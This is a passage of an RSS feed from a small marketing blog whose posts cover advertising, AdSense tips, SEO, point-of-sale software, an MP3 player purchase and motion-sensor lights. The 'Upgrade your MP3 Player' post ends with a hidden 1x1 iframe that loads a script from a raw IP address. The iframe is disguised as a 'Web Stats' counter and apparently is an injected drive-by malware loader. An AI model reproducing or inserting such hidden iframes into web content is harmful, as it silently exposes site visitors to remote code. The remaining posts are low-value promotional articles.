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	<title>CMUThought Community Thought 100 day Challenge &#187; Advertising</title>
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	<link>http://www.cmuthought.com</link>
	<description>Building a Community Smart Goal Setting 100 Day CHallenge</description>
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		<title>Using car magnets to advertise your company</title>
		<link>http://www.cmuthought.com/2011/08/using-car-magnets-to-advertise-your-company/</link>
		<comments>http://www.cmuthought.com/2011/08/using-car-magnets-to-advertise-your-company/#comments</comments>
		<pubDate>Wed, 24 Aug 2011 16:11:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Advertising]]></category>
		<category><![CDATA[Consumer Media]]></category>
		<category><![CDATA[car advertising]]></category>
		<category><![CDATA[car magnets]]></category>
		<category><![CDATA[mobile car marketing]]></category>

		<guid isPermaLink="false">http://www.cmuthought.com/?p=2704</guid>
		<description><![CDATA[Everywhere you look companies are using various social media avenues to drive traffic to their store or website. Consumers are now being targeted at the point of sale with incentives sent over their smartphone or through their friends on Facebook. Companies that use the various tools to drive traffic effectively can improve sales and improve [...]]]></description>
			<content:encoded><![CDATA[<p>Everywhere you look companies are using various social media avenues to drive traffic to their store or website. Consumers are now being targeted at the point of sale with incentives sent over their smartphone or through their friends on Facebook. Companies that use the various tools to drive traffic effectively can improve sales and improve ROI. The one issue that arises is the cost per action to get those customers to your store. If you look at to the overall cost of driving new customers to your site or store it can be very costly. Some companies are now using their fleet and company vehicles to help drive awareness and traffic through creative car magnets. These are the colorful and informative designs that you see on company vehicles to create awareness by letting you know how to contact the company and a quick teaser on what they do. The overall cost per impression is very low when you think of the visibility that you can achieve. So in 2011 use multiple channels to enhance your customer traffic and make it the best year ever.</p>
<p><a href="http://www.cmuthought.com/wp-content/uploads/2011/08/car-magnet11.jpg"><img class="alignleft size-medium wp-image-2712" title="car magnet" src="http://www.cmuthought.com/wp-content/uploads/2011/08/car-magnet1-300x81.jpg" alt="" width="300" height="81" /></a>Creative and colorful car magnets can also help increase your brand awareness. Your brand is something that you can use to increase sales and customer loyalty. Too many companies believe that by simply having brand awareness should be enough to help drive sales. There are lots of ways in which companies are trying to increase their brand awareness and engagement with their customer through the web, billboards, and even car magnets. There are some great examples on how to use <a href="http://carmagnets.com/">car magnets</a> to help use the vehicles you already own. The nice thing is that they are portable and delivery companies can use them on different vehicles such as those that use employees cars to make those deliveries.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
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			<wfw:commentRss>http://www.cmuthought.com/2011/08/using-car-magnets-to-advertise-your-company/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
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		<item>
		<title>Advertising abroad</title>
		<link>http://www.cmuthought.com/2010/11/advertising-abroad/</link>
		<comments>http://www.cmuthought.com/2010/11/advertising-abroad/#comments</comments>
		<pubDate>Sun, 14 Nov 2010 20:01:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Advertising]]></category>

		<guid isPermaLink="false">http://www.cmuthought.com/2007/02/advertising-abroad/</guid>
		<description><![CDATA[Most businesses will use ad agencies to help them build a successful campaign and to spread the resources among print, tv, and online. Finding the right agency can be somewhat trickier as most small to medium businesses cannot afford the likes of Saachi and other high profile agencies. For those based abroad and looking to [...]]]></description>
			<content:encoded><![CDATA[<p>Most businesses will use ad agencies to help them build a successful campaign and to spread the resources among print, tv, and online. Finding the right agency can be somewhat trickier as most small to medium businesses cannot afford the likes of Saachi and other high profile agencies. For those based abroad and looking to expand their presence in London, there is a site dedicated to helping you locate London Advertising agencies. They can help you to find resources to aid in your online marketing efforts and get you started on your marketing campaign.</p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
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		<item>
		<title>Free advertising</title>
		<link>http://www.cmuthought.com/2010/09/free-advertising/</link>
		<comments>http://www.cmuthought.com/2010/09/free-advertising/#comments</comments>
		<pubDate>Fri, 24 Sep 2010 00:23:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Advertising]]></category>
		<category><![CDATA[Consumer Generated]]></category>
		<category><![CDATA[advertising]]></category>
		<category><![CDATA[free advertising]]></category>

		<guid isPermaLink="false">http://www.cmuthought.com/?p=1996</guid>
		<description><![CDATA[I think most people are failing these days with online programs, because they fail to market their programs properly. Promoting your program to the most people possible is the first step every marketer should take. The 2nd step should be to find a targeted audience that will benefit from your product or service the most. [...]]]></description>
			<content:encoded><![CDATA[<p>I think most people are failing these days with online programs, because they fail to market their programs properly. Promoting your program to the most people possible is the first step every marketer should take. The 2nd step should be to find a targeted audience that will benefit from your product or service the most. You will find that targeting an audience has great rewards and you don&#8217;t have to drive as much traffic to your website or programs when you go this route.</p>
<p>How do I target my traffic? I think the best way is to let people target you; instead of you targeting them. How does this work? It&#8217;s really simple if you use the search engines and this is the best way to get free traffic and targeted traffic too.</p>
<p>People come to the search engines looking for a specific item and when you can have your website listed there; this is what will benefit you and them the most. It&#8217;s not an overnight process and it does take time to get listed high on search engines for key search terms related to your product or service.</p>
<p>If you use links and other methods of advertising focusing on these key search terms, you will eventually witness your website climbing the charts in the search engines. Getting on the first page is important and most people don&#8217;t ever look at the 2nd page of the search results. Once you make your way to the first page for a specific search term; that&#8217;s when you can start to tweak things and try to make the climb to number 1. I have received great traffic and results by being listed 2nd or 3r on the first page, so being number 1 isn&#8217;t a &#8220;must&#8221; for most marketers.</p>
<p>Learn how to get your website moving up the rankings and try to pick up on as many SEO tips as you can. SEO is &#8220;Search Engine Optimization&#8221; and this is the magical highway to success for most online programs.</p>
]]></content:encoded>
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		<item>
		<title>Point of Sale</title>
		<link>http://www.cmuthought.com/2010/09/point-of-sale/</link>
		<comments>http://www.cmuthought.com/2010/09/point-of-sale/#comments</comments>
		<pubDate>Tue, 21 Sep 2010 18:27:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Advertising]]></category>

		<guid isPermaLink="false">http://www.cmuthought.com/2007/02/point-of-sale/</guid>
		<description><![CDATA[If you are a small business looking to take your inventory and business online you need a means to capture and process sales. You need something that will require little IT setup and easy to use to start out with. The problem with many small businesses is that take on large internet projects in hopes [...]]]></description>
			<content:encoded><![CDATA[<p>If you are a small business looking to take your inventory and business online you need a means to capture and process sales. You need something that will require little IT setup and easy to use to start out with. The problem with many small businesses is that take on large internet projects in hopes to expand their sales and customers and they get talked into the services that they may not need. At MerchantOS they provide simple solutions that are easy to set up and manage. All you need is a computer and an internet connection and you are up and running. Their website is easy to find the answers to your questions and you will find customer testimonials on how the software has worked for them. Click here for POS softwareÂ to find out more.</p>
<p>Don&#8217;t let the internet opportunity pass your business by simply because it seems to technical. Using online MerchantOS can help you get up to speed quickly and improve your customer relations.</p>
]]></content:encoded>
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		<item>
		<title>Adsense tips to maximize your promotional budget</title>
		<link>http://www.cmuthought.com/2009/06/7-tips-for-adsense/</link>
		<comments>http://www.cmuthought.com/2009/06/7-tips-for-adsense/#comments</comments>
		<pubDate>Fri, 05 Jun 2009 09:26:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Advertising]]></category>

		<guid isPermaLink="false">http://www.cmuthought.com/2006/05/7-tips-for-adsense/</guid>
		<description><![CDATA[There&#8217;s a lot of buzz around about how you can make a quick and easy fortune using this AdSense course or that tool or this book. And they show you their incomes from AdSense too (though not necessarily THIS month). Now, is it just me or is something a little odd in all this? Say, [...]]]></description>
			<content:encoded><![CDATA[<p>There&#8217;s a lot of buzz around about how you can make a quick and easy fortune using this AdSense course or that tool or this book.</p>
<p>And they show you their incomes from AdSense too (though not necessarily THIS month). Now, is it just me or is something a little odd in all this?</p>
<p>Say, I&#8217;m making $5000 &#8211; no make that $15,276 a month from AdSense on my sites. And now I&#8217;m going to sell all my secrets on how to do that for $67 or $97 or whatever.</p>
<p>So what happened, did I get all bored with my filthy riches and decide to become a philanthropist and sell stuff that makes me 15K a month for a pittance? Or is it something else?</p>
<p>Am I saying it&#8217;s impossible? Certainly not. I know people who make that more.</p>
<p>But a little reality. Those people don&#8217;t have 5 or 6 or 50 sites. They have maybe 500 or 3000 or more. Few sites make 20 or more a day. Very few. Average income is probably less than a dollar a day. So with 500 sites at a dollar a day, you&#8217;ve got your 15K a month.</p>
<p>Now the domain names cost you maybe $3500 to $4500. Then you need hosting and somehow you&#8217;ve got to build the sites and get traffic to them. There are excellent tools but the ones that will let you do this kind of thing in a reasonably short time are also very (very) expensive.</p>
<p>And you are continually dealing with sites that don&#8217;t get indexed or get de-indexed or even get banned. Traffic today, gone tomorrow. Plus, if you&#8217;re not real careful with those tools you may get an unpleasant letter from Google about a DMCA copyright infringement which could cost you your AdSense account.</p>
<p>You can make money, you can build an empire. But it isn&#8217;t easy or quick no matter what you hear. And it really isn&#8217;t a business. It&#8217;s not a long run proposition, it&#8217;s not stable. You need to keep creating more sites as older ones fail &#8211; or you need to be smart and use those AdSense revenues to build an enduring business.</p>
<p>You put up with this down to here, so here are the real 7 &#8220;secret&#8221; keys to AdSense.</p>
<p>1. The best performing AdSense type is the large rectangle. This has been tested over and over.</p>
<p>2. The best colors are blue for the link &#8211; surfers know that blue means click me. And darkish almost black and grey for the text and url. No borders. The same background as your page. Will it merge into your content? No, that&#8217;s bogus. There are maybe 4 surfers in this galaxy who can&#8217;t tell a Google ad when they see one. They are not going to believe it&#8217;s part of the text. Wake up, OK?</p>
<p>3. Another format which is being reported to more or less work is the full wide banner type layout with text ads and images directly above the links. Try it and see if it works for you. Maybe it&#8217;s a fad.</p>
<p>4. Keywords and related content are critical if you want targeted ads. If you want high paying clicks you need to target the costly keywords AND have content that supports the keywords.</p>
<p>5. You need traffic interested in the ads. Which means your traffic generation techniques have to be targeted not scattershot. You might hear that 1% or 1.5% clickthrough rate is OK and 3% is good. Nonsense. Really successful people get CTRs that are often well above 30%. Even with modest efforts you should be getting an average 6 to 15% CTR (per ad impression, not pages).</p>
<p>6. You have to track what you&#8217;re doing and you have to test variations in ad layout, placement, color and related content to optimize your income. No one can tell you how to do it except the traffic coming to your site. If you don&#8217;t test and track, you&#8217;re flying blind.</p>
<p>7. You need to keep building new sites.</p>
<p>You are now a member of the AdSense Illuminati. Quite possibly you already knew all that. So why are you looking for something else? Really. This is all you need to start doing it.</p>
<p>Probably any course or book can help you if that&#8217;s what it takes to get you moving and doing. Ultimately, no one can really show you exactly how to do it. You&#8217;re going to have to learn the ropes and put in the time.</p>
<p>Like everything in life &#8211; the greatest traffic generator, the ultimate course or the super MLM opportunity, if it sounds too good to be true, then it is. There&#8217;s no magic bullet, no ultimate secret to buy. There&#8217;s no easy, painless, work free, certain road to riches (except, maybe, inheriting it and that can be very hard on the heirs).</p>
<p>Whatever you do on the net, do it wide awake and with your brain actually functioning. The final un-numbered key is that a technique, a shortcut, an idea that will make what you do easier, faster, or more profitable &#8211; one single tiny thing &#8211; is worth more than any book or course costs. One useable idea and you&#8217;ve gotten a great deal. If you learned something you didn&#8217;t know or had forgotten, then it&#8217;s worth much more than you paid. There may not be any magic solution out there, but there are useful concepts, techniques and ideas. You just have to see them for what they are, and then get busy and really use them.</p>
<p>About the author:<br />
Richard writes, teaches, trains and consults on business and professional presentations and eCommerce related matters. For more information on eCommerce sites and eCommerce site building visit http://www.building-ecommerce-websites.com- you can find more articles at http://www.building-ecommerce-websites.com/articles.</p>
<p>Circulated by Article Emporium</p>
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		<item>
		<title>Upgrade your MP3 Player</title>
		<link>http://www.cmuthought.com/2009/06/upgrade-your-mp3-player/</link>
		<comments>http://www.cmuthought.com/2009/06/upgrade-your-mp3-player/#comments</comments>
		<pubDate>Tue, 02 Jun 2009 14:11:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Advertising]]></category>
		<category><![CDATA[Consumer Media]]></category>
		<category><![CDATA[MP3 players]]></category>

		<guid isPermaLink="false">http://www.cmuthought.com/?p=1022</guid>
		<description><![CDATA[It is that time of year where Dad&#8217;s and Grads are the focus of gift giving. I believe this year I may be getting my Dad a new Zune MP3 player to upgrade his old player. The reason is that he loves to listen to his old classics that he has converted from albums and [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.cmuthought.com/wp-content/uploads/2009/06/zune_green.jpg"><img class="alignleft size-medium wp-image-1023" title="zune_green" src="http://www.cmuthought.com/wp-content/uploads/2009/06/zune_green.jpg" alt="" width="171" height="136" /></a>It is that time of year where Dad&#8217;s and Grads are the focus of gift giving. I believe this year I may be getting my Dad a new <a title="MP3 player" href="http://www.buy.com/prod/microsoft-zune-4gb-mp3-player-green-with-free-microsoft-zune-car-pack/q/loc/111/211199961.html" target="_blank">Zune MP3</a> player to upgrade his old player. The reason is that he loves to listen to his old classics that he has converted from albums and tapes and his current system is not very user friendly. The software that came with it is pretty basic and only allows you to convert tunes into one format that is only useful to that player. Plus the fact that on his old MP3 player you are unable to create playlists and because it lacks an LED screen you have to skip through numerous songs just to find one that you want to listen too.</p>
<p><a href="http://www.cmuthought.com/wp-content/uploads/2009/06/zune.jpg"><img class="alignleft size-medium wp-image-1024" title="zune" src="http://www.cmuthought.com/wp-content/uploads/2009/06/zune-225x300.jpg" alt="" width="191" height="255" /></a>I am looking at the Zune MP3 player because I saw it for <a href="http://www.buy.com/specialty_store_6/weekly_deals/62329.html">sale</a> at buy.com for under $90 with free shipping. I have an iPod and an MP3 player and I know that my Dad would love to have either but since many of his songs are outside of the iTunes format I felt it would be an easier transition to the MP3 player.Plus with this Zune devise it allows my Dad to view and create playlists, watch vidoes of some of his favorite shows, and all the uploading is simple and much more user friendly. And because it is more Windows friendly you can even record and watch TV shows on your Zune that you have captured via your Windows Media center. There is also a cool feature that allows you to easily change the background of your Zune to scenes like this one. All in all this should be a very good fathers day and now all I have to do is somehow get his old LP&#8217;s converted over to MP3 files and he will good to go.<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --></p>
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		<title>Business on the internet</title>
		<link>http://www.cmuthought.com/2009/02/business-on-the-internet/</link>
		<comments>http://www.cmuthought.com/2009/02/business-on-the-internet/#comments</comments>
		<pubDate>Mon, 02 Feb 2009 08:39:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Advertising]]></category>

		<guid isPermaLink="false">http://www.cmuthought.com/2006/12/business-on-the-internet/</guid>
		<description><![CDATA[In a recent review of a blog on Internet Business, written by Chris Sandberg, I found it very informative and topical. He had an interesting posting about the universe of Digg, and his unfortunate happenings. I have always felt that there are just a few top tier people on Digg that do control the way [...]]]></description>
			<content:encoded><![CDATA[<p>In a recent review of a blog on Internet Business, written by Chris Sandberg, I found it very informative and topical. He had an interesting posting about the universe of Digg, and his unfortunate happenings. I have always felt that there are just a few top tier people on Digg that do control the way a post either rises or crashes to earth. Chris makes some good points and even is able to post a screen shot about his Digg episode. Look to this blog to keep you up to date on timely news and information and may be worth keeping an eye on.</p>
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		<slash:comments>1</slash:comments>
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		<item>
		<title>Getting more with your Blog and Adsense</title>
		<link>http://www.cmuthought.com/2008/10/getting-more-with-your-blog-and-adsense/</link>
		<comments>http://www.cmuthought.com/2008/10/getting-more-with-your-blog-and-adsense/#comments</comments>
		<pubDate>Sun, 26 Oct 2008 13:52:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Advertising]]></category>

		<guid isPermaLink="false">http://www.cmuthought.com/2006/07/getting-more-with-your-blog-and-adsense/</guid>
		<description><![CDATA[Google AdSense and Blogs by: Diane Nassy For more information please visit www.market2myspace.com If you have a blog, or are thinking about starting a blog, then you are definitely going to want to read this article. It&#8217;s all about how to line your pockets with money thats just waiting to be made without working much [...]]]></description>
			<content:encoded><![CDATA[<p>Google AdSense and Blogs<br />
by: Diane Nassy</p>
<p>For more information please visit <a href="http://www.market2myspace.com/myspacelayouts">www.market2myspace.com</a></p>
<p>If you have a blog, or are thinking about starting a blog, then you are definitely going to want to read this article. It&#8217;s all about how to line your pockets with money thats just waiting to be made without working much harder than you already are.</p>
<p>No only are blogs the hottest thing on the â€˜net right now, but they are custom-made for Googleâ€™s AdSense program. Why? Itâ€™s simple. Blogs represent constantly changing and fresh content to Googleâ€™s search engine spiders. Feeding fresh content to those little spiders is just like tossing raw meat to a tiger. They just gobble it up. The more pages of your blog that get indexed, the more traffic you get. And the more traffic you get, the more exposure your AdSense ads get. Are you beginning to see where Iâ€™m heading here?</p>
<p>It&#8217;s not just Google that loves new content, all of the major engines do. In fact, some web-savvy bloggers are testing Google ads on one page and Overture ads on the other. It doesnâ€™t take too long to see which ads are doing the best when you have nearly side-by-side comparison statistics to look at. Just donâ€™t make the mistake of putting Google and Overture ads on the same page together. While they won&#8217;t kill each other like a pair of Siamese fighting fish in the same bowel will, you will be violating both sites Terms of Service, and it isn&#8217;t worth killing the goose (geese) that laid the golden egg.</p>
<p>It&#8217;s a snap to set up Google AdSense ads on your blog. Everything you need to know is right inside of the Google control panel. What&#8217;s not so easy is figuring out what ads are going to appear on each page. Since Google targets your key words, and your blog articles could possible wander towards any subject, you never know what you&#8217;re going to get.</p>
<p>Well, â€œneverâ€ is a strong word because there actually IS a way to pre-test your blogâ€™s ads before you post your newest edition. Here&#8217;s what you do:</p>
<p>Write your blog article like you normally would<br />
 Plug in your AdSense code and then post your newest page to a sub directory thatâ€™s not part of your blog.<br />
Click refresh a few times until Google wakes up and starts sending ads.<br />
If you don&#8217;t like what you see then fine-tune the article until you see the types of ads that you&#8217;re looking for.</p>
<p>With some ads paying as much as $5 per click or more, I&#8217;d certainly spend an extra 30 minutes or so tweaking my blog. That&#8217;s for sure.</p>
<p>If youre working hard to get your blog in front of visiting eyeballs, then it doesn&#8217;t make any sense at NOT to be using Google AdSense to draw every penny out of your site thats possible. OK, thats the end of the article. Now get busy tweaking your blog and checking your ads. You&#8217;ve got money waiting to be made!</p>
<p>About the author:<br />
Diane provides marketing and internet profit tips.<br />
For more Google AdSense tips, visit http://www.adsense.deeljeabiz.com<br />
Email : deeljeabiz@gmail.com</p>
<p>Circulated by Article Emporium</p>
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		<title>Improve your brand awareness</title>
		<link>http://www.cmuthought.com/2008/08/improve-your-brand-awareness/</link>
		<comments>http://www.cmuthought.com/2008/08/improve-your-brand-awareness/#comments</comments>
		<pubDate>Wed, 20 Aug 2008 18:26:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Advertising]]></category>

		<guid isPermaLink="false">http://www.cmuthought.com/?p=726</guid>
		<description><![CDATA[In 2008 you can order promotional pens at your next trade show event]]></description>
			<content:encoded><![CDATA[<p>In 2008 you can order <a href="http://www.usimprints.com/">promotional pens</a> at your next trade show event</p>
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		<slash:comments>0</slash:comments>
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		<title>Secure your home</title>
		<link>http://www.cmuthought.com/2008/04/secure-your-home/</link>
		<comments>http://www.cmuthought.com/2008/04/secure-your-home/#comments</comments>
		<pubDate>Wed, 23 Apr 2008 03:17:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Advertising]]></category>

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		<description><![CDATA[One of the best investments that we made when doing our outside landscaping was to purchase motion sensor lights that we had mounted in the back and front of our home. Since we live at the end of the block which becomes a dead end street many of the local high school kids like to [...]]]></description>
			<content:encoded><![CDATA[<p>One of the best investments that we made when doing our outside landscaping was to purchase <a href="http://www.firststreetonline.com/product.jsp?id=53834">motion sensor lights</a> that we had mounted in the back and front of our home. Since we live at the end of the block which becomes a dead end street many of the local high school kids like to come park at the end of the road. With the new lights it has reduced the traffic at night and the kids are finding that the lights are not providing the privacy that they once enjoyed. The motion sensors can be programmed for sensitivity to the distance of the object that is triggering the light. It has also cut down on the late night noise and no one has driven through our yard since the installation.</p>
]]></content:encoded>
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